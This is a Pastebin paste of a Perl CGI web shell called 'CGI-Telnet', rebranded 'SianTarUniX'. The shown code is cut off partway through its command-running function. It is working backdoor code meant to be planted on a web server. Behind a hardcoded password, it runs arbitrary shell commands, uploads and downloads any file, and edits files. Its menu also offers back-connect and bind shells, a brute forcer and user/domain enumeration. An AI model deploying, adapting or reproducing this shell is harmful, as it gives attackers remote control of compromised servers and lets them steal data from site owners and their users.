coi234

cgi.izo

Aug 31st, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.71 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.3";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>SianTarUniX - CGI-Telnet</font>";
  5.  
  6. $Password = "cls210120"; # Change this. You will need to enter this to login.
  7. sub Is_Win(){
  8. $os = &trim($ENV{"SERVER_SOFTWARE"});
  9. if($os =~ m/win/i){
  10. return 1;
  11. }
  12. else{
  13. return 0;
  14. }
  15. }
  16. $WinNT = &Is_Win(); # You need to change the value of this to 1 if
  17. # you're running this script on a Windows NT
  18. # machine. If you're running it on Unix, you
  19. # can leave the value as it is.
  20.  
  21. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  22. # in a command line on Windows NT.
  23.  
  24. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  25. # in a command line on Unix.
  26.  
  27. $CommandTimeoutDuration = 10000; # Time in seconds after commands will be killed
  28. # Don't set this to a very large value. This is
  29. # useful for commands that may hang or that
  30. # take very long to execute, like "find /".
  31. # This is valid only on Unix servers. It is
  32. # ignored on NT Servers.
  33.  
  34. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  35. # browser as soon as it is output, otherwise
  36. # it is buffered and send when the command
  37. # completes. This is useful for commands like
  38. # ping, so that you can see the output as it
  39. # is being generated.
  40.  
  41. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  42.  
  43. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  44. $CmdPwd = ($WinNT ? "cd" : "pwd");
  45. $PathSep = ($WinNT ? "\\" : "/");
  46. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  47. $cols= 150;
  48. $rows= 26;
  49. #------------------------------------------------------------------------------
  50. # Reads the input sent by the browser and parses the input variables. It
  51. # parses GET, POST and multipart/form-data that is used for uploading files.
  52. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  53. # Other variables can be accessed using $in{'var'}, where var is the name of
  54. # the variable. Note: Most of the code in this function is taken from other CGI
  55. # scripts.
  56. #------------------------------------------------------------------------------
  57. sub ReadParse
  58. {
  59. local (*in) = @_ if @_;
  60. local ($i, $loc, $key, $val);
  61.  
  62. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  63.  
  64. if($ENV{'REQUEST_METHOD'} eq "GET")
  65. {
  66. $in = $ENV{'QUERY_STRING'};
  67. }
  68. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  69. {
  70. binmode(STDIN) if $MultipartFormData & $WinNT;
  71. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  72. }
  73.  
  74. # handle file upload data
  75. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  76. {
  77. $Boundary = '--'.$1; # please refer to RFC1867
  78. @list = split(/$Boundary/, $in);
  79. $HeaderBody = $list[1];
  80. $HeaderBody =~ /\r\n\r\n|\n\n/;
  81. $Header = $`;
  82. $Body = $';
  83. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  84. $in{'filedata'} = $Body;
  85. $Header =~ /filename=\"(.+)\"/;
  86. $in{'f'} = $1;
  87. $in{'f'} =~ s/\"//g;
  88. $in{'f'} =~ s/\s//g;
  89.  
  90. # parse trailer
  91. for($i=2; $list[$i]; $i++)
  92. {
  93. $list[$i] =~ s/^.+name=$//;
  94. $list[$i] =~ /\"(\w+)\"/;
  95. $key = $1;
  96. $val = $';
  97. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  98. $val =~ s/%(..)/pack("c", hex($1))/ge;
  99. $in{$key} = $val;
  100. }
  101. }
  102. else # standard post data (url encoded, not multipart)
  103. {
  104. @in = split(/&/, $in);
  105. foreach $i (0 .. $#in)
  106. {
  107. $in[$i] =~ s/\+/ /g;
  108. ($key, $val) = split(/=/, $in[$i], 2);
  109. $key =~ s/%(..)/pack("c", hex($1))/ge;
  110. $val =~ s/%(..)/pack("c", hex($1))/ge;
  111. $in{$key} .= "\0" if (defined($in{$key}));
  112. $in{$key} .= $val;
  113. }
  114. }
  115. }
  116.  
  117. #------------------------------------------------------------------------------
  118. # Prints the HTML Page Header
  119. # Argument 1: Form item name to which focus should be set
  120. #------------------------------------------------------------------------------
  121. sub PrintPageHeader
  122. {
  123. $EncodedCurrentDir = $CurrentDir;
  124. $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  125. my $dir =$CurrentDir;
  126. $dir=~ s/\\/\\\\/g;
  127. print "Content-type: text/html\n\n";
  128. print <<END;
  129. <html>
  130. <head>
  131. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  132. <title>SianTarUniX</title>
  133.  
  134. $HtmlMetaHeader
  135.  
  136. </head>
  137. <style>
  138. body{
  139. font: 10pt Verdana;
  140. }
  141. tr {
  142. BORDER-RIGHT: #3e3e3e 1px solid;
  143. BORDER-TOP: #3e3e3e 1px solid;
  144. BORDER-LEFT: #3e3e3e 1px solid;
  145. BORDER-BOTTOM: #3e3e3e 1px solid;
  146. color: #ff9900;
  147. }
  148. td {
  149. BORDER-RIGHT: #3e3e3e 1px solid;
  150. BORDER-TOP: #3e3e3e 1px solid;
  151. BORDER-LEFT: #3e3e3e 1px solid;
  152. BORDER-BOTTOM: #3e3e3e 1px solid;
  153. color: #2BA8EC;
  154. font: 10pt Verdana;
  155. }
  156.  
  157. table {
  158. BORDER-RIGHT: #3e3e3e 1px solid;
  159. BORDER-TOP: #3e3e3e 1px solid;
  160. BORDER-LEFT: #3e3e3e 1px solid;
  161. BORDER-BOTTOM: #3e3e3e 1px solid;
  162. BACKGROUND-COLOR: #111;
  163. }
  164.  
  165.  
  166. input {
  167. BORDER-RIGHT: #3e3e3e 1px solid;
  168. BORDER-TOP: #3e3e3e 1px solid;
  169. BORDER-LEFT: #3e3e3e 1px solid;
  170. BORDER-BOTTOM: #3e3e3e 1px solid;
  171. BACKGROUND-COLOR: Black;
  172. font: 10pt Verdana;
  173. color: #ff9900;
  174. }
  175.  
  176. input.submit {
  177. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  178. color: #FFFFFF;
  179. border-color: #009900;
  180. }
  181.  
  182. code {
  183. border : dashed 0px #333;
  184. BACKGROUND-COLOR: Black;
  185. font: 10pt Verdana bold;
  186. color: while;
  187. }
  188.  
  189. run {
  190. border : dashed 0px #333;
  191. font: 10pt Verdana bold;
  192. color: #FF00AA;
  193. }
  194.  
  195. textarea {
  196. BORDER-RIGHT: #3e3e3e 1px solid;
  197. BORDER-TOP: #3e3e3e 1px solid;
  198. BORDER-LEFT: #3e3e3e 1px solid;
  199. BORDER-BOTTOM: #3e3e3e 1px solid;
  200. BACKGROUND-COLOR: #1b1b1b;
  201. font: Fixedsys bold;
  202. color: #aaa;
  203. }
  204. A:link {
  205. COLOR: #2BA8EC; TEXT-DECORATION: none
  206. }
  207. A:visited {
  208. COLOR: #2BA8EC; TEXT-DECORATION: none
  209. }
  210. A:hover {
  211. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  212. color: #ff9900; TEXT-DECORATION: none
  213. }
  214. A:active {
  215. color: Red; TEXT-DECORATION: none
  216. }
  217.  
  218. .listdir tr:hover{
  219. background: #444;
  220. }
  221. .listdir tr:hover td{
  222. background: #444;
  223. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  224. color: #FFFFFF; TEXT-DECORATION: none;
  225. }
  226. .notline{
  227. background: #111;
  228. }
  229. .line{
  230. background: #222;
  231. }
  232. </style>
  233. <script language="javascript">
  234. function chmod_form(i,file)
  235. {
  236. /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/
  237. var ajax="";
  238. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action=' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  239. document.getElementById("text_" + i).focus();
  240. }
  241. function rm_chmod_form(response,i,perms,file)
  242. {
  243. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  244. }
  245. function rename_form(i,file,f)
  246. {
  247. var ajax="";
  248. f.replace(/\\\\/g,"\\\\\\\\");
  249. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  250. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action=' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  251. document.getElementById("text_" + i).focus();
  252. }
  253. function rm_rename_form(i,file,f)
  254. {
  255. if(f=='f')
  256. {
  257. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>";
  258. }else
  259. {
  260. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  261. }
  262. }
  263. </script>
  264. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  265. <center><code>
  266. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  267. <tr>
  268. <td align="center" rowspan=2>
  269. <b><font size="5">$EditPersion</font></b>
  270. </td>
  271.  
  272. <td>
  273.  
  274. <font face="Verdana" size="2">$ENV{"SERVER_SOFTWARE"}</font>
  275. </td>
  276. <td>Server IP:<font color="#bb0000"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#bb0000">$ENV{'REMOTE_ADDR'}</font>
  277. </td>
  278.  
  279. </tr>
  280.  
  281. <tr>
  282. <td colspan="3"><font face="Verdana" size="2">
  283. <a href="$ScriptLocation">Home</a> |
  284. <a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Command</a> |
  285. <a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">GUI</a> |
  286. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
  287. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
  288.  
  289. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  290. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  291. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  292. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  293. <a href="$ScriptLocation?a=logout">Logout</a> |
  294. <a target='_blank' href="#">Help</a>
  295.  
  296. </font></td>
  297. </tr>
  298. </table>
  299. <font id="ResponseData" color="#ff99cc" >
  300. END
  301. }
  302.  
  303. #------------------------------------------------------------------------------
  304. # Prints the Login Screen
  305. #------------------------------------------------------------------------------
  306. sub PrintLoginScreen
  307. {
  308.  
  309. print <<END;
  310. <pre><script type="text/javascript">
  311. TypingText = function(element, interval, cursor, finishedCallback) {
  312. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  313. this.running = true; // Never run.
  314. return;
  315. }
  316. this.element = element;
  317. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  318. this.interval = (typeof interval == "undefined" ? 100 : interval);
  319. this.origText = this.element.innerHTML;
  320. this.unparsedOrigText = this.origText;
  321. this.cursor = (cursor ? cursor : "");
  322. this.currentText = "";
  323. this.currentChar = 0;
  324. this.element.typingText = this;
  325. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  326. TypingText.all.push(this);
  327. this.running = false;
  328. this.inTag = false;
  329. this.tagBuffer = "";
  330. this.inHTMLEntity = false;
  331. this.HTMLEntityBuffer = "";
  332. }
  333. TypingText.all = new Array();
  334. TypingText.currentIndex = 0;
  335. TypingText.runAll = function() {
  336. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  337. }
  338. TypingText.prototype.run = function() {
  339. if(this.running) return;
  340. if(typeof this.origText == "undefined") {
  341. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  342. return;
  343. }
  344. if(this.currentText == "") this.element.innerHTML = "";
  345. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  346. if(this.currentChar < this.origText.length) {
  347. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  348. this.tagBuffer = "<";
  349. this.inTag = true;
  350. this.currentChar++;
  351. this.run();
  352. return;
  353. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  354. this.tagBuffer += ">";
  355. this.inTag = false;
  356. this.currentText += this.tagBuffer;
  357. this.currentChar++;
  358. this.run();
  359. return;
  360. } else if(this.inTag) {
  361. this.tagBuffer += this.origText.charAt(this.currentChar);
  362. this.currentChar++;
  363. this.run();
  364. return;
  365. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  366. this.HTMLEntityBuffer = "&";
  367. this.inHTMLEntity = true;
  368. this.currentChar++;
  369. this.run();
  370. return;
  371. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  372. this.HTMLEntityBuffer += ";";
  373. this.inHTMLEntity = false;
  374. this.currentText += this.HTMLEntityBuffer;
  375. this.currentChar++;
  376. this.run();
  377. return;
  378. } else if(this.inHTMLEntity) {
  379. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  380. this.currentChar++;
  381. this.run();
  382. return;
  383. } else {
  384. this.currentText += this.origText.charAt(this.currentChar);
  385. }
  386. this.element.innerHTML = this.currentText;
  387. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  388. this.currentChar++;
  389. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  390. } else {
  391. this.currentText = "";
  392. this.currentChar = 0;
  393. this.running = false;
  394. this.finishedCallback();
  395. }
  396. }
  397. </script>
  398. </pre>
  399.  
  400. <font style="font: 15pt Verdana; color: yellow;">Copyright (C) 2018 SianTarUniX</font><br><br>
  401. <table align="center" border="1" width="600" heigh>
  402. <tbody><tr>
  403. <td valign="top" background="http://dl.dropbox.com/u/10860051/images/matran.gif"><p id="hack" style="margin-left: 3px;">
  404. <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>
  405.  
  406. <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>
  407. <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
  408. <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>
  409.  
  410. <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>
  411.  
  412. <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
  413. <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
  414. </tr>
  415. </tbody></table>
  416. <br>
  417.  
  418. <script type="text/javascript">
  419. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  420. TypingText.runAll();
  421.  
  422. </script>
  423. END
  424. }
  425.  
  426. #------------------------------------------------------------------------------
  427. # Add html special chars
  428. #------------------------------------------------------------------------------
  429. sub HtmlSpecialChars($){
  430. my $text = shift;
  431. $text =~ s/&/&amp;/g;
  432. $text =~ s/"/&quot;/g;
  433. $text =~ s/'/&#039;/g;
  434. $text =~ s/</&lt;/g;
  435. $text =~ s/>/&gt;/g;
  436. return $text;
  437. }
  438. #------------------------------------------------------------------------------
  439. # Add link for directory
  440. #------------------------------------------------------------------------------
  441. sub AddLinkDir($)
  442. {
  443. my $ac=shift;
  444. my @dir=();
  445. if($WinNT)
  446. {
  447. @dir=split(/\\/,$CurrentDir);
  448. }else
  449. {
  450. @dir=split("/",&trim($CurrentDir));
  451. }
  452. my $path="";
  453. my $result="";
  454. foreach (@dir)
  455. {
  456. $path .= $_.$PathSep;
  457. $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>";
  458. }
  459. return $result;
  460. }
  461. #------------------------------------------------------------------------------
  462. # Prints the message that informs the user of a failed login
  463. #------------------------------------------------------------------------------
  464. sub PrintLoginFailedMessage
  465. {
  466. print <<END;
  467. <br>Login : Administrator<br>
  468.  
  469. Password:<br>
  470. Login incorrect<br><br>
  471. END
  472. }
  473.  
  474. #------------------------------------------------------------------------------
  475. # Prints the HTML form for logging in
  476. #------------------------------------------------------------------------------
  477. sub PrintLoginForm
  478. {
  479. print <<END;
  480. <form name="f" method="POST" action="$ScriptLocation">
  481. <input type="hidden" name="a" value="login">
  482. Login : Administrator<br>
  483. Password:<input type="password" name="p">
  484. <input class="submit" type="submit" value="Enter">
  485. </form>
  486. END
  487. }
  488.  
  489. #------------------------------------------------------------------------------
  490. # Prints the footer for the HTML Page
  491. #------------------------------------------------------------------------------
  492. sub PrintPageFooter
  493. {
  494. print "<br><font color=red>o---[ <font color=#ff9900>Edit by $EditPersion </font> ]---o</font></code></center></body></html>";
  495. }
  496.  
  497. #------------------------------------------------------------------------------
  498. # Retreives the values of all cookies. The cookies can be accesses using the
  499. # variable $Cookies{'}
  500. #------------------------------------------------------------------------------
  501. sub GetCookies
  502. {
  503. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  504. foreach $cookie(@httpcookies)
  505. {
  506. ($id, $val) = split(/=/, $cookie);
  507. $Cookies{$id} = $val;
  508. }
  509. }
  510.  
  511. #------------------------------------------------------------------------------
  512. # Prints the screen when the user logs out
  513. #------------------------------------------------------------------------------
  514. sub PrintLogoutScreen
  515. {
  516. print "Connection closed by foreign host.<br><br>";
  517. }
  518.  
  519. #------------------------------------------------------------------------------
  520. # Logs out the user and allows the user to login again
  521. #------------------------------------------------------------------------------
  522. sub PerformLogout
  523. {
  524. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  525. &PrintPageHeader("p");
  526. &PrintLogoutScreen;
  527.  
  528. &PrintLoginScreen;
  529. &PrintLoginForm;
  530. &PrintPageFooter;
  531. exit;
  532. }
  533.  
  534. #------------------------------------------------------------------------------
  535. # This function is called to login the user. If the password matches, it
  536. # displays a page that allows the user to run commands. If the password doens't
  537. # match or if no password is entered, it displays a form that allows the user
  538. # to login
  539. #------------------------------------------------------------------------------
  540. sub PerformLogin
  541. {
  542. if($LoginPassword eq $Password) # password matched
  543. {
  544. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  545. &PrintPageHeader;
  546. print &ListDir;
  547. }
  548. else # password didn't match
  549. {
  550. &PrintPageHeader("p");
  551. &PrintLoginScreen;
  552. if($LoginPassword ne "") # some password was entered
  553. {
  554. &PrintLoginFailedMessage;
  555.  
  556. }
  557. &PrintLoginForm;
  558. &PrintPageFooter;
  559. exit;
  560. }
  561. }
  562.  
  563. #------------------------------------------------------------------------------
  564. # Prints the HTML form that allows the user to enter commands
  565. #------------------------------------------------------------------------------
  566. sub PrintCommandLineInputForm
  567. {
  568. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  569. $Prompt = $WinNT ? "$dir > " : "<font color='#66ff66'>[admin\@$ServerName $dir]\$</font> ";
  570. return <<END;
  571. <form name="f" method="POST" action="$ScriptLocation">
  572.  
  573. <input type="hidden" name="a" value="command">
  574.  
  575. <input type="hidden" name="d" value="$CurrentDir">
  576. $Prompt
  577. <input type="text" size="50" name="c">
  578. <input class="submit"type="submit" value="Enter">
  579. </form>
  580. END
  581. }
  582.  
  583. #------------------------------------------------------------------------------
  584. # Prints the HTML form that allows the user to download files
  585. #------------------------------------------------------------------------------
  586. sub PrintFileDownloadForm
  587. {
  588. my $dir = &AddLinkDir("download");
  589. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  590. return <<END;
  591. <form name="f" method="POST" action="$ScriptLocation">
  592. <input type="hidden" name="d" value="$CurrentDir">
  593. <input type="hidden" name="a" value="download">
  594. $Prompt download<br><br>
  595. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  596. Download: <input class="submit" type="submit" value="Begin">
  597.  
  598. </form>
  599. END
  600. }
  601.  
  602. #------------------------------------------------------------------------------
  603. # Prints the HTML form that allows the user to upload files
  604. #------------------------------------------------------------------------------
  605. sub PrintFileUploadForm
  606. {
  607. my $dir= &AddLinkDir("upload");
  608. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  609. return <<END;
  610. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  611. $Prompt upload<br><br>
  612. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  613. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  614. <label for="up">Overwrite if it Exists</label><br><br>
  615. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  616. <input type="hidden" name="d" value="$CurrentDir">
  617. <input class="submit" type="hidden" name="a" value="upload">
  618.  
  619. </form>
  620.  
  621. END
  622. }
  623.  
  624. #------------------------------------------------------------------------------
  625. # This function is called when the timeout for a command expires. We need to
  626. # terminate the script immediately. This function is valid only on Unix. It is
  627. # never called when the script is running on NT.
  628. #------------------------------------------------------------------------------
  629. sub CommandTimeout
  630. {
  631. if(!$WinNT)
  632. {
  633. alarm(0);
  634. return <<END;
  635. </textarea>
  636. <br><font color=yellow>
  637. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  638. <br><font size='6' color=red>Killed it!</font>
  639. END
  640. }
  641. }
  642.  
  643.  
  644.  
  645. #------------------------------------------------------------------------------
  646. # This function displays the page that contains a link which allows the user
  647. # to download the specified file. The page also contains a auto-refresh
  648. # feature that starts the download automatically.
  649. # Argument 1: Fully qualified filename of the file to be downloaded
  650. #------------------------------------------------------------------------------
  651. sub PrintDownloadLinkPage
  652. {
  653. local($FileUrl) = @_;
  654. my $result="";
  655. if(-e $FileUrl) # if the file exists
  656. {
  657. # encode the file link so we can send it to the browser
  658. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  659. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  660. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  661. &PrintPageHeader("c");
  662. $result .= <<END;
  663. Sending File $TransferFile...<br>
  664.  
  665. If the download does not start automatically,
  666. <a href="$DownloadLink">Click Here</a>
  667. END
  668. $result .= &PrintCommandLineInputForm;
  669. }
  670. else # file doesn't exist
  671. {
  672. $result .= "Failed to download $FileUrl: $!";
  673. $result .= &PrintFileDownloadForm;
  674. }
  675. return $result;
  676. }
  677.  
  678. #------------------------------------------------------------------------------
  679. # This function reads the specified file from the disk and sends it to the
  680. # browser, so that it can be downloaded by the user.
  681. # Argument 1: Fully qualified pathname of the file to be sent.
  682. #------------------------------------------------------------------------------
  683. sub SendFileToBrowser
  684. {
  685. my $result = "";
  686. local($SendFile) = @_;
  687. if(open(SENDFILE, $SendFile)) # file opened for reading
  688. {
  689. if($WinNT)
  690. {
  691. binmode(SENDFILE);
  692. binmode(STDOUT);
  693. }
  694. $FileSize = (stat($SendFile))[7];
  695. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  696. print "Content-Type: application/x-unknown\n";
  697. print "Content-Length: $FileSize\n";
  698. print "Content-Disposition: attachment; filename=$1\n\n";
  699. print while(<SENDFILE>);
  700. close(SENDFILE);
  701. exit(1);
  702. }
  703. else # failed to open file
  704. {
  705. $result .= "Failed to download $SendFile: $!";
  706. $result .=&PrintFileDownloadForm;
  707. }
  708. return $result;
  709. }
  710.  
  711.  
  712. #------------------------------------------------------------------------------
  713. # This function is called when the user downloads a file. It displays a message
  714. # to the user and provides a link through which the file can be downloaded.
  715. # This function is also called when the user clicks on that link. In this case,
  716. # the file is read and sent to the browser.
  717. #------------------------------------------------------------------------------
  718. sub BeginDownload
  719. {
  720. # get fully qualified path of the file to be downloaded
  721. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  722. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  723. {
  724. $TargetFile = $TransferFile;
  725. }
  726. else # path is relative
  727. {
  728. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  729. $TargetFile .= $PathSep.$TransferFile;
  730. }
  731.  
  732. if($Options eq "go") # we have to send the file
  733. {
  734. &SendFileToBrowser($TargetFile);
  735. }
  736. else # we have to send only the link page
  737. {
  738. &PrintDownloadLinkPage($TargetFile);
  739. }
  740. }
  741.  
  742. #------------------------------------------------------------------------------
  743. # This function is called when the user wants to upload a file. If the
  744. # file is not specified, it displays a form allowing the user to specify a
  745. # file, otherwise it starts the upload process.
  746. #------------------------------------------------------------------------------
  747. sub UploadFile
  748. {
  749. # if no file is specified, print the upload form again
  750. if($TransferFile eq "")
  751. {
  752. return &PrintFileUploadForm;
  753.  
  754. }
  755. my $result="";
  756. # start the uploading process
  757. $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  758.  
  759. # get the fullly qualified pathname of the file to be created
  760. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  761. $TransferFile =~ m!([^/^\\]*)$!;
  762. $TargetName .= $PathSep.$1;
  763.  
  764. $TargetFileSize = length($in{'filedata'});
  765. # if the file exists and we are not supposed to overwrite it
  766. if(-e $TargetName && $Options ne "overwrite")
  767. {
  768. $result .= "Failed: Destination file already exists.<br>";
  769. }
  770. else # file is not present
  771. {
  772. if(open(UPLOADFILE, ">$TargetName"))
  773. {
  774. binmode(UPLOADFILE) if $WinNT;
  775. print UPLOADFILE $in{'filedata'};
  776. close(UPLOADFILE);
  777. $result .= "Transfered $TargetFileSize Bytes.<br>";
  778. $result .= "File Path: $TargetName<br>";
  779. }
  780. else
  781. {
  782. $result .= "Failed: $!<br>";
  783. }
  784. }
  785. $result .= &PrintCommandLineInputForm;
  786. return $result;
  787. }
  788.  
  789. #------------------------------------------------------------------------------
  790. # This function is called when the user wants to download a file. If the
  791. # filename is not specified, it displays a form allowing the user to specify a
  792. # file, otherwise it displays a message to the user and provides a link
  793. # through which the file can be downloaded.
  794. #------------------------------------------------------------------------------
  795. sub DownloadFile
  796. {
  797. # if no file is specified, print the download form again
  798. if($TransferFile eq "")
  799. {
  800. &PrintPageHeader("f");
  801. return &PrintFileDownloadForm;
  802. }
  803.  
  804. # get fully qualified path of the file to be downloaded
  805. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  806. {
  807. $TargetFile = $TransferFile;
  808. }
  809. else # path is relative
  810. {
  811. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  812. $TargetFile .= $PathSep.$TransferFile;
  813. }
  814.  
  815. if($Options eq "go") # we have to send the file
  816. {
  817. return &SendFileToBrowser($TargetFile);
  818. }
  819. else # we have to send only the link page
  820. {
  821. return &PrintDownloadLinkPage($TargetFile);
  822. }
  823. }
  824.  
  825.  
  826. #------------------------------------------------------------------------------
  827. # This function is called to execute commands. It displays the output of the
  828. # command and allows the user to enter another command. The change directory
  829. # command is handled differently. In this case, the new directory is stored in
  830. # an internal variable and is used each time a command has to be executed. The
  831. # output of the change directory command is not displayed to the users
  832. # therefore error messages cannot be displayed.
  833. #------------------------------------------------------------------------------
  834. sub ExecuteCommand
  835. {
  836. my $result="";
  837. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  838. {
  839. # we change the directory internally. The output of the
  840. # command is not displayed.
  841. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  842. chop($CurrentDir = `$Command`);
  843. $result .= &PrintCommandLineInputForm;
  844.  
  845. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  846. # xuat thong tin khi chuyen den 1 thu muc nao do!
  847. $RunCommand= $WinNT?"dir":"dir -lia";
  848. $result .= &RunCmd;
  849. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  850. {
  851. $result .= &SaveFileForm;
  852. }else
  853. {
  854. $result .= &PrintCommandLineInputForm;
  855. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  856. $result .=&RunCmd;
  857. }
  858. $result .= "</textarea>";
  859. return $result;
  860. }
  861.  
  862. #------------------------------------------------------------------------
  863. # run command
  864. #------------------------------------------------------------------------
  865.  
  866. sub RunCmd
  867. {
  868. my $result="";
  869. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  870. if(!$WinNT)
  871. {
  872. $SIG{'ALRM'} = \&CommandTimeout;
  873. alarm($CommandTimeoutDuration);
  874. }
  875. if($ShowDynamicOutput) # show output as it is generated
  876. {
  877. $|=1;
  878. $Command .= " |";
  879. open(CommandOutput, $Command);
